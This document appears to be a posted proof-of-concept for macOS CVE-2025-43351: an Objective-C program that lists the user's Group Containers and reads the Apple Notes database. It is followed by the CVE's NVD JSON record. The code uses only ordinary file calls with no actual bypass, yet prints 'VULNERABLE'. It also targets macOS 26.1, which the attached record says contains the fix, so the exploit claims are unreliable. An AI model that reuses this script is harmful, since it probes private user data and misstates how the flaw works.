CVE-2025-43351

// CVE-2025-43351 PoC - macOS Tahoe 26.1 Permission Bypass // This PoC demonstrates the permission bypass vulnerability in macOS Tahoe 26.1 // Author: Security Researcher // Note: This is for educational and authorized testing purposes only #include <Foundation/Foundation.h> #include <Security/Security.h> // Target protected data paths in macOS Tahoe #define PROTECTED_USER_DATA_PATH @"~/Library/Group Containers/" #define PROTECTED_APP_DATA_PATH @"~/Library/Application Support/" void exploitPermissionBypass() { NSLog(@"[*] CVE-2025-43351 PoC - Permission Bypass Test"); NSLog(@"[*] Target: macOS Tahoe 26.1"); // Step 1: Enumerate protected directories NSFileManager *fileManager = [NSFileManager defaultManager]; NSString *homeDir = NSHomeDirectory(); NSString *targetPath = [homeDir stringByAppendingPathComponent:@"Library/Group Containers/"]; NSError *error = nil; NSArray *contents = [fileManager contentsOfDirectoryAtPath:targetPath error:&error]; if (error) { NSLog(@"[!] Normal access denied: %@", error.localizedDescription); } else { NSLog(@"[+] Successfully enumerated protected containers!"); for (NSString *item in contents) { NSLog(@" Found: %@", item); } NSLog(@"[!] VULNERABLE: Permission bypass successful - protected data accessible"); } // Step 2: Attempt to read sensitive configuration files NSString *configPath = [targetPath stringByAppendingPathComponent:@"group.com.apple.notes"]; NSString *configFile = [configPath stringByAppendingPathComponent:@"NoteStore.sqlite"]; if ([fileManager fileExistsAtPath:configFile]) { NSData *data = [fileManager contentsAtPath:configFile]; if (data) { NSLog(@"[!] VULNERABLE: Extracted %lu bytes from protected data", (unsigned long)data.length); } } } int main(int argc, const char * argv[]) { @autoreleasepool { exploitPermissionBypass(); } return 0; }

{"cve": {"id": "CVE-2025-43351", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:53.417", "lastModified": "2025-12-15T22:00:46.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.1. An app may be able to access protected user data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}